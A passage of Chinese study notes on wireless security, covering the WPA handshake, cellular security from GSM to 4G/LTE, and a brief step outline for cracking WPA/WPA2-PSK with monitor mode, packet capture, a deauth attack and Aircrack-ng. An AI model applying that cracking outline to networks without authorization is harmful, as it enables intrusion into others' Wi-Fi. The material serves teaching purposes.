- 认证者取出消息中的申请者nonce,依次衍生出完整的密钥层次结构。此时磋商双方的密钥均已就绪,但仍需确认。认证者会将一个信息传给申请者;此信息代表将被加入之成对密钥的序号。它同时包括了目前的群组临时密钥,以便后续能够更新群组密钥。GTK以EAPOL密钥加密密钥来加密,以密钥确认密钥来认证
- 申请者最后会送出确认信息给认证者,告诉认证者已经接收到配钥信息,可以开始使用这些密钥。此信息系经过密钥确认密钥的认证。
WPA-PSK/WPA2-PSK的破解:
- 查看并载入无线网卡
- 激活无线网卡到监听模式
- 探测并抓包
- 进行Deauth攻击
- 打开Aircrack-ng,开始爆破
无线广域网安全(WWAM)
概叙
- 1G关键点:无线,蜂窝组网
- 2G关键点:数字,TDMA(时分多址)/FDMA(频分多址)
- 3G关键点:CDMA,IP化,数据业务
- 4G关键点:OFDMA(快速傅里叶变换),MIMO(多入多出),高速数据业务
- 5G关键点:Massive MIMO,小蜂窝,D2D,IoT
GSM系统安全
安全机制
- 用户身份认证和鉴别
- 通信信息加密
- 用户身份IMSI保密
不足
- 单向认证
- 空中接口加密
- 完整性保护缺失
3G的安全机制
安全机制
- 增强用户身份保密(EUIC,Enhanced User ldentity Confidentialy):通过归属网及
认证中心HLR/AuC对移动用户USIM卡身份信息进行认证。 - 用户身份保密(UIC,User1 dentity Confidenta):用产与服务网之间的身份认证。
- 认证和密钥协商(AKA,Authentication&Key Agreement):用于USM卡、VLR/SGSN、HLR间进行的双向认证和密钥分发。
- 用户及信令数据机密性(DC,Data Confidentiality)):加密UE与RNC间的信息。
- 消息完整性(DL,Data Integrity:)认证消息的完整性、时效以及消息的来源地与目
的地。
4G/LTE的安全机制
安全机制
- 4G实现了分层安全,即将接入层(AS)和非接入层NAS)安全分离。
- 其中接入层安全负责eNodeB和UE之间的安全,包括RRC信令的机密性保护和完整性保护、用户面机密性保护;
- 非接入层安全负责MME和UE之间的安全,包括NAS信令的机密性保护和完整性保护
- 继承3G认证和密钥协商
- 4G中采用更安全加密算法,AES,SNOW和ZUC算法